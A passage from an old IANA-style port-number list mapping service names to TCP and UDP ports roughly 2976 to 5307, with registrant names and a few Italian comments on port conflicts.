cns-srv-port 2976/udp CNS Server Port # Ram Golla ttc-etap-ns 2977/tcp TTCs Enterprise Test Access Protocol - NS ttc-etap-ns 2977/udp TTCs Enterprise Test Access Protocol - NS ttc-etap-ds 2978/tcp TTCs Enterprise Test Access Protocol - DS ttc-etap-ds 2978/udp TTCs Enterprise Test Access Protocol - DS # Daniel Becker # 2979-2997 Unassigned realsecure 2998/tcp Real Secure realsecure 2998/udp Real Secure # Tim Farley remoteware-un 2999/tcp RemoteWare Unassigned remoteware-un 2999/udp RemoteWare Unassigned # Tim Farley hbci 3000/tcp HBCI hbci 3000/udp HBCI # Kurt Haubner # The following entry records an unassigned but widespread use remoteware-cl 3000/tcp RemoteWare Client remoteware-cl 3000/udp RemoteWare Client # Tim Farley redwood-broker 3001/tcp Redwood Broker redwood-broker 3001/udp Redwood Broker # Joseph Morrison exlm-agent 3002/tcp EXLM Agent exlm-agent 3002/udp EXLM Agent # Randy Martin # The following entry records an unassigned but widespread use remoteware-srv 3002/tcp RemoteWare Server remoteware-srv 3002/udp RemoteWare Server # Tim Farley cgms 3003/tcp CGMS cgms 3003/udp CGMS # Jim Mazzonna csoftragent 3004/tcp Csoft Agent csoftragent 3004/udp Csoft Agent # Nedelcho Stanev geniuslm 3005/tcp Genius License Manager geniuslm 3005/udp Genius License Manager # Jakob Spies ii-admin 3006/tcp Instant Internet Admin ii-admin 3006/udp Instant Internet Admin # Lewis Donzis lotusmtap 3007/tcp Lotus Mail Tracking Agent Protocol lotusmtap 3007/udp Lotus Mail Tracking Agent Protocol # Ken Lin midnight-tech 3008/tcp Midnight Technologies midnight-tech 3008/udp Midnight Technologies # Kyle Unice pxc-ntfy 3009/tcp PXC-NTFY pxc-ntfy 3009/udp PXC-NTFY # Takeshi Nishizawa gw 3010/tcp Telerate Workstation ping-pong 3010/udp Telerate Workstation # Timo Sivonen trusted-web 3011/tcp Trusted Web trusted-web 3011/udp Trusted Web twsdss 3012/tcp Trusted Web Client twsdss 3012/udp Trusted Web Client # Alex Duncan gilatskysurfer 3013/tcp Gilat Sky Surfer gilatskysurfer 3013/udp Gilat Sky Surfer # Yossi Gal broker_service 3014/tcp Broker Service broker_service 3014/udp Broker Service # Dale Bethers nati-dstp 3015/tcp NATI DSTP nati-dstp 3015/udp NATI DSTP # Paul Austin notify_srvr 3016/tcp Notify Server notify_srvr 3016/udp Notify Server # Hugo Parra event_listener 3017/tcp Event Listener event_listener 3017/udp Event Listener # Ted Tronson srvc_registry 3018/tcp Service Registry srvc_registry 3018/udp Service Registry # Mark Killgore resource_mgr 3019/tcp Resource Manager resource_mgr 3019/udp Resource Manager # Gary Glover cifs 3020/tcp CIFS cifs 3020/udp CIFS # Paul Leach agriserver 3021/tcp AGRI Server agriserver 3021/udp AGRI Server # Frank Neulichedl csregagent 3022/tcp CSREGAGENT csregagent 3022/udp CSREGAGENT # Nedelcho Stanev magicnotes 3023/tcp magicnotes magicnotes 3023/udp magicnotes # Karl Edwall nds_sso 3024/tcp NDS_SSO nds_sso 3024/udp NDS_SSO # Mel Oyler arepa-raft 3025/tcp Arepa Raft arepa-raft 3025/udp Arepa Raft # Mark Ellison agri-gateway 3026/tcp AGRI Gateway agri-gateway 3026/udp AGRI Gateway # Agri Datalog LiebDevMgmt_C 3027/tcp LiebDevMgmt_C LiebDevMgmt_C 3027/udp LiebDevMgmt_C LiebDevMgmt_DM 3028/tcp LiebDevMgmt_DM LiebDevMgmt_DM 3028/udp LiebDevMgmt_DM LiebDevMgmt_A 3029/tcp LiebDevMgmt_A LiebDevMgmt_A 3029/udp LiebDevMgmt_A # Mike Velten arepa-cas 3030/tcp Arepa Cas arepa-cas 3030/udp Arepa Cas # Seth Silverman agentvu 3031/tcp AgentVU agentvu 3031/udp AgentVU # Chad Williams redwood-chat 3032/tcp Redwood Chat redwood-chat 3032/udp Redwood Chat # Songwon Chi pdb 3033/tcp PDB pdb 3033/udp PDB # Don Bowman osmosis-aeea 3034/tcp Osmosis AEEA osmosis-aeea 3034/udp Osmosis AEEA # Larry Atkin fjsv-gssagt 3035/tcp FJSV gssagt fjsv-gssagt 3035/udp FJSV gssagt # Tomoji Koike # 3036-3046 Unassigned hlserver 3047/tcp Fast Security HL Server hlserver 3047/udp Fast Security HL Server # Michael Zunke pctrader 3048/tcp Sierra Net PC Trader pctrader 3048/udp Sierra Net PC Trader # Chris Hahn nsws 3049/tcp NSWS nsws 3049/udp NSWS # Ray Gwinn gds_db 3050/tcp gds_db gds_db 3050/udp gds_db # Madhukar N. Thakur # 3051-3059 Unassigned interserver 3060/tcp interserver interserver 3060/udp interserver # Madhukar N. Thakur # 3061-3079 Unassigned stm_pproc 3080/tcp stm_pproc stm_pproc 3080/udp stm_pproc # Paul McGinnis # 3081-3104 Unassigned cardbox 3105/tcp Cardbox cardbox 3105/udp Cardbox cardbox-http 3106/tcp Cardbox HTTP cardbox-http 3106/udp Cardbox HTTP # Martin Kochanski # 3107-3129 Unassigned icpv2 3130/tcp ICPv2 icpv2 3130/udp ICPv2 # Duane Wessels netbookmark 3131/tcp Net Book Mark netbookmark 3131/udp Net Book Mark # Yiftach Ravid # 3132-3140 Unassigned vmodem 3141/tcp VMODEM vmodem 3141/udp VMODEM # Ray Gwinn rdc-wh-eos 3142/tcp RDC WH EOS rdc-wh-eos 3142/udp RDC WH EOS # Udi Nir seaview 3143/tcp Sea View seaview 3143/udp Sea View # Jim Flaherty tarantella 3144/tcp Tarantella tarantella 3144/udp Tarantella # Roger Binns csi-lfap 3145/tcp CSI-LFAP csi-lfap 3145/udp CSI-LFAP # Paul Amsden # 3146 Unassigned rfio 3147/tcp RFIO rfio 3147/udp RFIO # Frederic Hemmer nm-game-admin 3148/tcp NetMike Game Administrator nm-game-admin 3148/udp NetMike Game Administrator nm-game-server 3149/tcp NetMike Game Server nm-game-server 3149/udp NetMike Game Server nm-asses-admin 3150/tcp NetMike Assessor Administrator nm-asses-admin 3150/udp NetMike Assessor Administrator nm-assessor 3151/tcp NetMike Assessor nm-assessor 3151/udp NetMike Assessor # Andrew Sharpe # 3152-3179 Unassigned mc-brk-srv 3180/tcp Millicent Broker Server mc-brk-srv 3180/udp Millicent Broker Server # Steve Glassman # 3181-3263 Unassigned ccmail 3264/tcp cc:mail/lotus ccmail 3264/udp cc:mail/lotus altav-tunnel 3265/tcp Altav Tunnel altav-tunnel 3265/udp Altav Tunnel # JC Ferguson ns-cfg-server 3266/tcp NS CFG Server ns-cfg-server 3266/udp NS CFG Server # Aivi Lie ibm-dial-out 3267/tcp IBM Dial Out ibm-dial-out 3267/udp IBM Dial Out # Skip Booth msft-gc 3268/tcp Microsoft Global Catalog msft-gc 3268/udp Microsoft Global Catalog msft-gc-ssl 3269/tcp Microsoft Global Catalog with LDAP/SSL msft-gc-ssl 3269/udp Microsoft Global Catalog with LDAP/SSL # Steve Judd verismart 3270/tcp Verismart verismart 3270/udp Verismart # Jay Weber csoft-prev 3271/tcp CSoft Prev Port csoft-prev 3271/udp CSoft Prev Port # Nedelcho Stanev user-manager 3272/tcp Fujitsu User Manager user-manager 3272/udp Fujitsu User Manager # Yukihiko Sakurai sxmp 3273/tcp Simple Extensible Multiplexed Protocol sxmp 3273/udp Simple Extensible Multiplexed Protocol # Jerry Jongerius ordinox-server 3274/tcp Ordinox Server ordinox-server 3274/udp Ordinox Server # Guy Letourneau samd 3275/tcp SAMD samd 3275/udp SAMD # Edgar Circenis maxim-asics 3276/tcp Maxim ASICs maxim-asics 3276/udp Maxim ASICs # Dave Inman awg-proxy 3277/tcp AWG Proxy awg-proxy 3277/udp AWG Proxy # Alex McDonald lkcmserver 3278/tcp LKCM Server lkcmserver 3278/udp LKCM Server # Javier Jimenez admind 3279/tcp admind admind 3279/udp admind # Jeff Haynes vs-server 3280/tcp VS Server vs-server 3280/udp VS Server # Scott Godlew sysopt 3281/tcp SYSOPT sysopt 3281/udp SYSOPT # Tony Hoffman datusorb 3282/tcp Datusorb datusorb 3282/udp Datusorb # Thomas Martin net-assistant 3283/tcp Net Assistant net-assistant 3283/udp Net Assistant # Michael Stein 4talk 3284/tcp 4Talk 4talk 3284/udp 4Talk # Tony Bushnell plato 3285/tcp Plato plato 3285/udp Plato # Jim Battin e-net 3286/tcp E-Net e-net 3286/udp E-Net # Steven Grigsby directvdata 3287/tcp DIRECTVDATA directvdata 3287/udp DIRECTVDATA # Michael Friedman cops 3288/tcp COPS cops 3288/udp COPS # Shai Herzog enpc 3289/tcp ENPC enpc 3289/udp ENPC # SEIKO EPSON caps-lm 3290/tcp CAPS LOGISTICS TOOLKIT - LM caps-lm 3290/udp CAPS LOGISTICS TOOLKIT - LM # Joseph Krebs sah-lm 3291/tcp S A Holditch & Associates - LM sah-lm 3291/udp S A Holditch & Associates - LM # Randy Hudgens cart-o-rama 3292/tcp Cart O Rama cart-o-rama 3292/udp Cart O Rama # Phillip Dillinger fg-fps 3293/tcp fg-fps fg-fps 3293/udp fg-fps fg-gip 3294/tcp fg-gip fg-gip 3294/udp fg-gip # Jean-Marc Frailong dyniplookup 3295/tcp Dynamic IP Lookup dyniplookup 3295/udp Dynamic IP Lookup # Eugene Osovetsky rib-slm 3296/tcp Rib License Manager rib-slm 3296/udp Rib License Manager # Kristean Heisler cytel-lm 3297/tcp Cytel License Manager cytel-lm 3297/udp Cytel License Manager # Yogesh P. Gajjar transview 3298/tcp Transview transview 3298/udp Transview # Richard Obermeier pdrncs 3299/tcp pdrncs pdrncs 3299/udp pdrncs # Paul Wissenbach bmcpatrolagent 3300/tcp BMC Patrol Agent bmcpatrolagent 3300/udp BMC Patrol Agent bmcpatrolrnvu 3301/tcp BMC Patrol Rendezvous bmcpatrolrnvu 3301/udp BMC Patrol Rendezvous # Eric Anderson mcs-fastmail 3302/tcp MCS Fastmail mcs-fastmail 3302/udp MCS Fastmail # Patti Jo Newsom opsession-clnt 3303/tcp OP Session Client opsession-clnt 3303/udp OP Session Client opsession-srvr 3304/tcp OP Session Server opsession-srvr 3304/udp OP Session Server # Amir Blich odette-ftp 3305/tcp ODETTE-FTP odette-ftp 3305/udp ODETTE-FTP # David Nash mysql 3306/tcp MySQL mysql 3306/udp MySQL # Monty opsession-prxy 3307/tcp OP Session Proxy opsession-prxy 3307/udp OP Session Proxy # Amir Blich tns-server 3308/tcp TNS Server tns-server 3308/udp TNS Server tns-adv 3309/tcp TNS ADV tns-adv 3309/udp TND ADV # Jerome Albin dyna-access 3310/tcp Dyna Access dyna-access 3310/udp Dyna Access # Dave Belliveau # mcns-tel-ret 3311/tcp MCNS Tel Ret mcns-tel-ret 3311/udp MCNS Tel Ret # Randall Atkinson appman-server 3312/tcp Application Management Server appman-server 3312/udp Application Management Server uorb 3313/tcp Unify Object Broker uorb 3313/udp Unify Object Broker uohost 3314/tcp Unify Object Host uohost 3314/udp Unify Object Host # Dave Glende cdid 3315/tcp CDID cdid 3315/udp CDID # Andrew Borisov aicc-cmi 3316/tcp AICC/CMI aicc-cmi 3316/udp AICC/CMI # William McDonald vsaiport 3317/tcp VSAI PORT vsaiport 3317/udp VSAI PORT # Rieko Asai ssrip 3318/tcp Swith to Swith Routing Information Protocol ssrip 3318/udp Swith to Swith Routing Information Protocol # Baba Hidekazu sdt-lmd 3319/tcp SDT License Manager sdt-lmd 3319/udp SDT License Manager # Salvo Nassisi officelink2000 3320/tcp Office Link 2000 officelink2000 3320/udp Office Link 2000 # Mike Balch vnsstr 3321/tcp VNSSTR vnsstr 3321/udp VNSSTR # Takeshi Ohmura active-net 3322-3325 Active Networks # Bob Braden sftu 3326/tcp SFTU sftu 3326/udp SFTU # Eduardo Rosenberg de Moura bbars 3327/tcp BBARS bbars 3327/udp BBARS # George Stevens egptlm 3328/tcp Eaglepoint License Manager egptlm 3328/udp Eaglepoint License Manager # Dave Benton hp-device-disc 3329/tcp HP Device Disc hp-device-disc 3329/udp HP Device Disc # Shivaun Albright mcs-calypsoicf 3330/tcp MCS Calypso ICF mcs-calypsoicf 3330/udp MCS Calypso ICF mcs-messaging 3331/tcp MCS Messaging mcs-messaging 3331/udp MCS Messaging mcs-mailsvr 3332/tcp MCS Mail Server mcs-mailsvr 3332/udp MCS Mail Server # Patti Jo Newsom dec-notes 3333/tcp DEC Notes dec-notes 3333/udp DEC Notes # Kim Moraros directv-web 3334/tcp Direct TV Webcasting directv-web 3334/udp Direct TV Webcasting directv-soft 3335/tcp Direct TV Software Updates directv-soft 3335/udp Direct TV Software Updates directv-tick 3336/tcp Direct TV Tickers directv-tick 3336/udp Direct TV Tickers directv-catlg 3337/tcp Direct TV Data Catalog directv-catlg 3337/udp Direct TV Data Catalog # Michael Friedman anet-b 3338/tcp OMF data b anet-b 3338/udp OMF data b anet-l 3339/tcp OMF data l anet-l 3339/udp OMF data l anet-m 3340/tcp OMF data m anet-m 3340/udp OMF data m anet-h 3341/tcp OMF data h anet-h 3341/udp OMF data h # Per Sahlqvist webtie 3342/tcp WebTIE webtie 3342/udp WebTIE # Kevin Frender ms-cluster-net 3343/tcp MS Cluster Net ms-cluster-net 3343/udp MS Cluster Net # Mike Massa bnt-manager 3344/tcp BNT Manager bnt-manager 3344/udp BNT Manager # Brian Ives influence 3345/tcp Influence influence 3345/udp Influence # Russ Ferriday trnsprntproxy 3346/tcp Trnsprnt Proxy trnsprntproxy 3346/udp Trnsprnt Proxy # Grant Kirby phoenix-rpc 3347/tcp Phoenix RPC phoenix-rpc 3347/udp Phoenix RPC # Ian Anderson pangolin-laser 3348/tcp Pangolin Laser pangolin-laser 3348/udp Pangolin Laser # William Benner chevinservices 3349/tcp Chevin Services chevinservices 3349/udp Chevin Services # Gus McNaughton findviatv 3350/tcp FINDVIATV findviatv 3350/udp FINDVIATV # Oran Davis btrieve 3351/tcp BTRIEVE btrieve 3351/udp BTRIEVE ssql 3352/tcp SSQL ssql 3352/udp SSQL # John McDowell fatpipe 3353/tcp FATPIPE fatpipe 3353/udp FATPIPE # Sanchaita Datta suitjd 3354/tcp SUITJD suitjd 3354/udp SUITJD # Todd Moyer ordinox-dbase 3355/tcp Ordinox Dbase ordinox-dbase 3355/udp Ordinox Dbase # Guy Litourneau upnotifyps 3356/tcp UPNOTIFYPS upnotifyps 3356/udp UPNOTIFYPS # Mark Fox adtech-test 3357/tcp Adtech Test IP adtech-test 3357/udp Adtech Test IP # Robin Uyeshiro mpsysrmsvr 3358/tcp Mp Sys Rmsvr mpsysrmsvr 3358/udp Mp Sys Rmsvr # Hiroyuki Kawabuchi wg-netforce 3359/tcp WG NetForce wg-netforce 3359/udp WG NetForce # Lee Wheat kv-server 3360/tcp KV Server kv-server 3360/udp KV Server kv-agent 3361/tcp KV Agent kv-agent 3361/udp KV Agent # Thomas Soranno dj-ilm 3362/tcp DJ ILM dj-ilm 3362/udp DJ ILM # Don Tyson nati-vi-server 3363/tcp NATI Vi Server nati-vi-server 3363/udp NATI Vi Server # Robert Dye creativeserver 3364/tcp Creative Server creativeserver 3364/udp Creative Server contentserver 3365/tcp Content Server contentserver 3365/udp Content Server creativepartnr 3366/tcp Creative Partner creativepartnr 3366/udp Creative Partner # Jesus Ortiz satvid-datalnk 3367-3371 Satellite Video Data Link # Scott Engel tip2 3372/tcp TIP 2 tip2 3372/udp TIP 2 # Keith Evans lavenir-lm 3373/tcp Lavenir License Manager lavenir-lm 3373/udp Lavenir License Manager # Marius Matioc cluster-disc 3374/tcp Cluster Disc cluster-disc 3374/udp Cluster Disc # Jeff Hughes vsnm-agent 3375/tcp VSNM Agent vsnm-agent 3375/udp VSNM Agent # Venkat Rangan cdborker 3376/tcp CD Broker cdbroker 3376/udp CD Broker # Moon Ho Chung cogsys-lm 3377/tcp Cogsys Network License Manager cogsys-lm 3377/udp Cogsys Network License Manager # Simon Chinnick wsicopy 3378/tcp WSICOPY wsicopy 3378/udp WSICOPY # James Overby socorfs 3379/tcp SOCORFS socorfs 3379/udp SOCORFS # Hugo Charbonneau sns-channels 3380/tcp SNS Channels sns-channels 3380/udp SNS Channels # Shekar Pasumarthi geneous 3381/tcp Geneous geneous 3381/udp Geneous # Nick de Smith fujitsu-neat 3382/tcp Fujitsu Network Enhanced Antitheft function fujitsu-neat 3382/udp Fujitsu Network Enhanced Antitheft function # Markku Viima esp-lm 3383/tcp Enterprise Software Products License Manager esp-lm 3383/udp Enterprise Software Products License Manager # George Rudy hp-clic 3384/tcp Cluster Management Services hp-clic 3384/udp Hardware Management # Rajesh Srinivasaraghavan qnxnetman 3385/tcp qnxnetman qnxnetman 3385/udp qnxnetman # Michael Hunter gprs-data 3386/tcp GPRS Data gprs-sig 3386/udp GPRS SIG # Ansgar Bergmann backroomnet 3387/tcp Back Room Net backroomnet 3387/udp Back Room Net # Clayton Wilkinson cbserver 3388/tcp CB Server cbserver 3388/udp CB Server # Allen Wei ms-wbt-server 3389/tcp MS WBT Server ms-wbt-server 3389/udp MS WBT Server # Ritu Bahl dsc 3390/tcp Distributed Service Coordinator dsc 3390/udp Distributed Service Coordinator # Chas Honton savant 3391/tcp SAVANT savant 3391/udp SAVANT # Andy Bruce efi-lm 3392/tcp EFI License Management efi-lm 3392/udp EFI License Management # Ross E. Greinke d2k-tapestry1 3393/tcp D2K Tapestry Client to Server d2k-tapestry1 3393/udp D2K Tapestry Client to Server d2k-tapestry2 3394/tcp D2K Tapestry Server to Server d2k-tapestry2 3394/udp D2K Tapestry Server to Server # Eric Lan dyna-lm 3395/tcp Dyna License Manager (Elam) dyna-lm 3395/udp Dyna License Manager (Elam) # Anjana Iyer printer_agent 3396/tcp Printer Agent printer_agent 3396/udp Printer Agent # Devon Taylor cloanto-lm 3397/tcp Cloanto License Manager cloanto-lm 3397/udp Cloanto License Manager # Takeo Sato mercantile 3398/tcp Mercantile mercantile 3398/udp Mercantile # Erik Kragh Jensen # 3399-3420 Unassigned bmap 3421/tcp Bull Apprise portmapper bmap 3421/udp Bull Apprise portmapper # Jeremy Gilbert mira 3454/tcp Apple Remote Access Protocol # Mike Alexander prsvp 3455/tcp RSVP Port prsvp 3455/udp RSVP Port # Bob Braden vat 3456/tcp VAT default data vat 3456/udp VAT default data # Van Jacobson vat-control 3457/tcp VAT default control vat-control 3457/udp VAT default control # Van Jacobson d3winosfi 3458/tcp D3WinOsfi d3winosfi 3458/udp DsWinOSFI # Brad Hamilton integral 3459/tcp Integral integral 3459/udp Integral # Olivier Mascia edm-manager 3460/tcp EDM Manger edm-manager 3460/udp EDM Manger edm-stager 3461/tcp EDM Stager edm-stager 3461/udp EDM Stager edm-std-notify 3462/tcp EDM STD Notify edm-std-notify 3462/udp EDM STD Notify edm-adm-notify 3463/tcp EDM ADM Notify edm-adm-notify 3463/udp EDM ADM Notify edm-mgr-sync 3464/tcp EDM MGR Sync edm-mgr-sync 3464/udp EDM MGR Sync edm-mgr-cntrl 3465/tcp EDM MGR Cntrl edm-mgr-cntrl 3465/udp EDM MGR Cntrl # Tom Hennessy workflow 3466/tcp WORKFLOW workflow 3466/udp WORKFLOW # Robert Hufsky rcst 3467/tcp RCST rcst 3467/udp RCST # Kit Sturgeon ttcmremotectrl 3468/tcp TTCM Remote Controll ttcmremotectrl 3468/udp TTCM Remote Controll # Yossi Cohen-Shahar pluribus 3469/tcp Pluribus pluribus 3469/udp Pluribus # Mark Miller jt400 3470/tcp jt400 jt400 3470/udp jt400 jt400-ssl 3471/tcp jt400-ssl jt400-ssl 3471/udp jt400-ssl # Clifton Nock # 3472-3562 Unassigned watcomdebug 3563/tcp Watcom Debug watcomdebug 3563/udp Watcom Debug # Anthony Scian # 3564-3671 Unassigned harlequinorb 3672/tcp harlequinorb harlequinorb 3672/udp harlequinorb # Jason Trenouth # 3673-3899 Unassigned udt_os 3900/tcp Unidata UDT OS udt_os 3900/udp Unidata UDT OS # James Powell mapper-nodemgr 3984/tcp MAPPER network node manager mapper-nodemgr 3984/udp MAPPER network node manager mapper-mapethd 3985/tcp MAPPER TCP/IP server mapper-mapethd 3985/udp MAPPER TCP/IP server mapper-ws_ethd 3986/tcp MAPPER workstation server mapper-ws_ethd 3986/udp MAPPER workstation server # John C. Horton centerline 3987/tcp Centerline centerline 3987/udp Centerline # Mark Simpson # 3988-3999 Unassigned terabase 4000/tcp Terabase terabase 4000/udp Terabase # Thor Olson ####### PORT 4000 anche usata da ICQ ################### ####### Potenziale Conflitto di porte ################################ newoak 4001/tcp NewOak newoak 4001/udp NewOak # Jim Philippou netcheque 4008/tcp NetCheque accounting netcheque 4008/udp NetCheque accounting # B. Clifford Neuman chimera-hwm 4009/tcp Chimera HWM chimera-hwm 4009/udp Chimera HWM # Ken Anderson samsung-unidex 4010/tcp Samsung Unidex samsung-unidex 4010/udp Samsung Unidex # Konstantin V. Vyaznikov altserviceboot 4011/tcp Alternate Service Boot altserviceboot 4011/udp Alternate Service Boot # Eric Dittert pda-gate 4012/tcp PDA Gate pda-gate 4012/udp PDA Gate # Masakuni Okada acl-manager 4013/tcp ACL Manager acl-manager 4013/udp ACL Manager # Toru Murai taiclock 4014/tcp TAICLOCK taiclock 4014/udp TAICLOCK # Dan Bernstein talarian-mcast1 4015/tcp Talarian Mcast talarian-mcast1 4015/udp Talarian Mcast talarian-mcast2 4016/tcp Talarian Mcast talarian-mcast2 4016/udp Talarian Mcast talarian-mcast3 4017/tcp Talarian Mcast talarian-mcast3 4017/udp Talarian Mcast talarian-mcast4 4018/tcp Talarian Mcast talarian-mcast4 4018/udp Talarian Mcast talarian-mcast5 4019/tcp Talarian Mcast talarian-mcast5 4019/udp Talarian Mcast # Geoff Mendal # 4020-4095 Unassigned bre 4096/tcp BRE (Bridge Relay Element) bre 4096/udp BRE (Bridge Relay Element) # Stephen Egbert patrolview 4097/tcp Patrol View patrolview 4097/udp Patrol View # Vincent Chin drmsfsd 4098/tcp drmsfsd drmsfsd 4098/udp drmsfsd # Masao Iwai dpcp 4099/tcp DPCP dpcp 4099/udp DPCP # John Croft # 4100-4131 Unassigned nuts_dem 4132/tcp NUTS Daemon nuts_dem 4132/udp NUTS Daemon nuts_bootp 4133/tcp NUTS Bootp Server nuts_bootp 4133/udp NUTS Bootp Server # Martin Freiss nifty-hmi 4134/tcp NIFTY-Serve HMI protocol nifty-hmi 4134/udp NIFTY-Serve HMI protocol # Ryuichi Suzuki oirtgsvc 4141/tcp Workflow Server oirtgsvc 4141/udp Workflow Server oidocsvc 4142/tcp Document Server oidocsvc 4142/udp Document Server oidsr 4143/tcp Document Replication oidsr 4143/udp Document Replication # Norman Brie ########## Compuserve (inufficialmente) usa la porta 4144 ######### # 4144-4159 Unassigned jini-discovery 4160/tcp Jini Discovery jini-discovery 4160/udp Jini Discovery # Bryan O'Sullivan # 4161-4199 Unassigned vrml-multi-use 4200-4299 VRML Multi User Systems # Mitra corelccam 4300/tcp Corel CCam corelccam 4300/udp Corel CCam # Jason Aiken # 4301-4320 Unassigned rwhois 4321/tcp Remote Who Is rwhois 4321/udp Remote Who Is # Mark Kosters unicall 4343/tcp UNICALL unicall 4343/udp UNICALL # James Powell vinainstall 4344/tcp VinaInstall vinainstall 4344/udp VinaInstall # Jay Slupesky m4-network-as 4345/tcp Macro 4 Network AS m4-network-as 4345/udp Macro 4 Network AS # Paul Wren elanlm 4346/tcp ELAN LM elanlm 4346/udp ELAN LM # Paul Ballew lansurveyor 4347/tcp LAN Surveyor lansurveyor 4347/udp LAN Surveyor # Michael Swan itose 4348/tcp ITOSE itose 4348/udp ITOSE # Michael Haeuptle fsportmap 4349/tcp File System Port Map fsportmap 4349/udp File System Port Map # Ron Minnich net-device 4350/tcp Net Device net-device 4350/udp Net Device # Glenn Peterson plcy-net-svcs 4351/tcp PLCY Net Services plcy-net-svcs 4351/udp PLCY Net Services # J.J. Ekstrom # 4352 Unassigned f5-iquery 4353/tcp F5 iQuery f5-iquery 4353/udp F5 iQuery # Tom Kee # 4354-4443 Unassigned saris 4442/tcp Saris saris 4442/udp Saris pharos 4443/tcp Pharos pharos 4443/udp Pharos # TeleConsult GmbH, 76275 Ettlingen, Germany # krb524 4444/tcp KRB524 krb524 4444/udp KRB524 # B. Clifford Neuman # PROBLEM krb524 assigned the port, # PROBLEM nv used it without an assignment nv-video 4444/tcp NV Video default nv-video 4444/udp NV Video default # Ron Frederick upnotifyp 4445/tcp UPNOTIFYP upnotifyp 4445/udp UPNOTIFYP # Mark Fox n1-fwp 4446/tcp N1-FWP n1-fwp 4446/udp N1-FWP n1-rmgmt 4447/tcp N1-RMGMT n1-rmgmt 4447/udp N1-RMGMT # Lori Tassin asc-slmd 4448/tcp ASC Licence Manager asc-slmd 4448/udp ASC Licence Manager # Casper Stoel privatewire 4449/tcp PrivateWire privatewire 4449/udp PrivateWire # Uri Resnitzky camp 4450/tcp Camp camp 4450/udp Camp ctisystemmsg 4451/tcp CTI System Msg ctisystemmsg 4451/udp CTI System Msg ctiprogramload 4452/tcp CTI Program Load ctiprogramload 4452/udp CTI Program Load # Steven Cliff nssalertmgr 4453/tcp NSS Alert Manager nssalertmgr 4453/udp NSS Alert Manager nssagentmgr 4454/tcp NSS Agent Manager nssagentmgr 4454/udp NSS Agent Manager # Jim Hill prchat-user 4455/tcp PR Chat User prchat-user 4455/udp PR Chat User prchat-server 4456/tcp PR Chat Server prchat-server 4456/udp PR Chat Server prRegister 4457/tcp PR Register prRegister 4457/udp PR Register # Donny Gilor # 4458-4499 Unassigned sae-urn 4500/tcp sae-urn sae-urn 4500/udp sae-urn urn-x-cdchoice 4501/tcp urn-x-cdchoice urn-x-cdchoice 4501/udp urn-x-cdchoice # Paul Hoffman worldscores 4545/tcp WorldScores worldscores 4545/udp WorldScores # Chris Flynn sf-lm 4546/tcp SF License Manager (Sentinel) sf-lm 4546/udp SF License Manager (Sentinel) # Thomas Koell lanner-lm 4547/tcp Lanner License Manager lanner-lm 4547/udp Lanner License Manager # Les Enstone # 4548-4671 Unassigned rfa 4672/tcp remote file access server rfa 4672/udp remote file access server # 4673-4799 Unassigned iims 4800/tcp Icona Instant Messenging System iims 4800/udp Icona Instant Messenging System iwec 4801/tcp Icona Web Embedded Chat iwec 4801/udp Icona Web Embedded Chat ilss 4802/tcp Icona License System Server ilss 4802/udp Icona License System Server # Paul Stephen Borlie # 4803-4826 Unassigned htcp 4827/tcp HTCP htcp 4827/udp HTCP # Paul Vixie # 4828-4867 Unassigned phrelay 4868/tcp Photon Relay phrelay 4868/udp Photon Relay phrelaydbg 4869/tcp Photon Relay Debug phrelaydbg 4869/udp Photon Relay Debug # Michael Hunter abbs 4885/tcp ABBS abbs 4885/udp ABBS # Ryan Rubley commplex-main 5000/tcp commplex-main 5000/udp commplex-link 5001/tcp commplex-link 5001/udp rfe 5002/tcp radio free ethernet rfe 5002/udp radio free ethernet fmpro-internal 5003/tcp FileMaker, Inc. - Proprietary transport fmpro-internal 5003/udp FileMaker, Inc. - Proprietary name binding # Clay Maeckel avt-profile-1 5004/tcp avt-profile-1 avt-profile-1 5004/udp avt-profile-1 avt-profile-2 5005/tcp avt-profile-2 avt-profile-2 5005/udp avt-profile-2 # Henning Schulzrinne telelpathstart 5010/tcp TelepathStart telelpathstart 5010/udp TelepathStart telelpathattack 5011/tcp TelepathAttack telelpathattack 5011/udp TelepathAttack # Helmuth Breitenfellner zenginkyo-1 5020/tcp zenginkyo-1 zenginkyo-1 5020/udp zenginkyo-1 zenginkyo-2 5021/tcp zenginkyo-2 zenginkyo-2 5021/udp zenginkyo-2 # Masashi Suzaki asnaacceler8db 5042/tcp asnaacceler8db asnaacceler8db 5042/udp asnaacceler8db # Walter Goodwin mmcc 5050/tcp multimedia conference control tool mmcc 5050/udp multimedia conference control tool # Steve Casner ita-agent 5051/tcp ITA Agent ita-agent 5051/udp ITA Agent ita-manager 5052/tcp ITA Manager ita-manager 5052/udp ITA Manager # Don Merrell sip 5060/tcp SIP sip 5060/udp SIP # Henning Schulzrinne rmonitor_secure 5145/tcp rmonitor_secure 5145/udp atmp 5150/tcp Ascend Tunnel Management Protocol atmp 5150/udp Ascend Tunnel Management Protocol # Kory Hamzeh esri_sde 5151/tcp ESRI SDE Instance esri_sde 5151/udp ESRI SDE Remote Start sde-discovery 5152/tcp ESRI SDE Instance Discovery sde-discovery 5152/udp ESRI SDE Instance Discovery # Peter Aronson ife_icorp 5165/tcp ife_1corp ife_icorp 5165/udp ife_1corp # Paul Annala aol 5190/tcp America-Online aol 5190/udp America-Online # Marty Lyons aol-1 5191/tcp AmericaOnline1 aol-1 5191/udp AmericaOnline1 aol-2 5192/tcp AmericaOnline2 aol-2 5192/udp AmericaOnline2 aol-3 5193/tcp AmericaOnline3 aol-3 5193/udp AmericaOnline3 # Bruce Mackey targus-aib1 5200/tcp Targus AIB 1 targus-aib1 5200/udp Targus AIB 1 targus-aib2 5201/tcp Targus AIB 2 targus-aib2 5201/udp Targus AIB 2 targus-tnts1 5202/tcp Targus TNTS 1 targus-tnts1 5202/udp Targus TNTS 1 targus-tnts2 5203/tcp Targus TNTS 2 targus-tnts2 5203/udp Targus TNTS 2 # John Keaveney padl2sim 5236/tcp padl2sim 5236/udp pk 5272/tcp PK pk 5272/udp PK # Patrick Kara hacl-hb 5300/tcp # HA cluster heartbeat hacl-hb 5300/udp # HA cluster heartbeat hacl-gs 5301/tcp # HA cluster general services hacl-gs 5301/udp # HA cluster general services hacl-cfg 5302/tcp # HA cluster configuration hacl-cfg 5302/udp # HA cluster configuration hacl-probe 5303/tcp # HA cluster probing hacl-probe 5303/udp # HA cluster probing hacl-local 5304/tcp # HA Cluster Commands hacl-local 5304/udp hacl-test 5305/tcp # HA Cluster Test hacl-test 5305/udp # Eric Soderberg # Edward Yim sun-mc-grp 5306/tcp Sun MC Group sun-mc-grp 5306/udp Sun MC Group # Michael DeMoney sco-aip 5307/tcp SCO AIP sco-aip 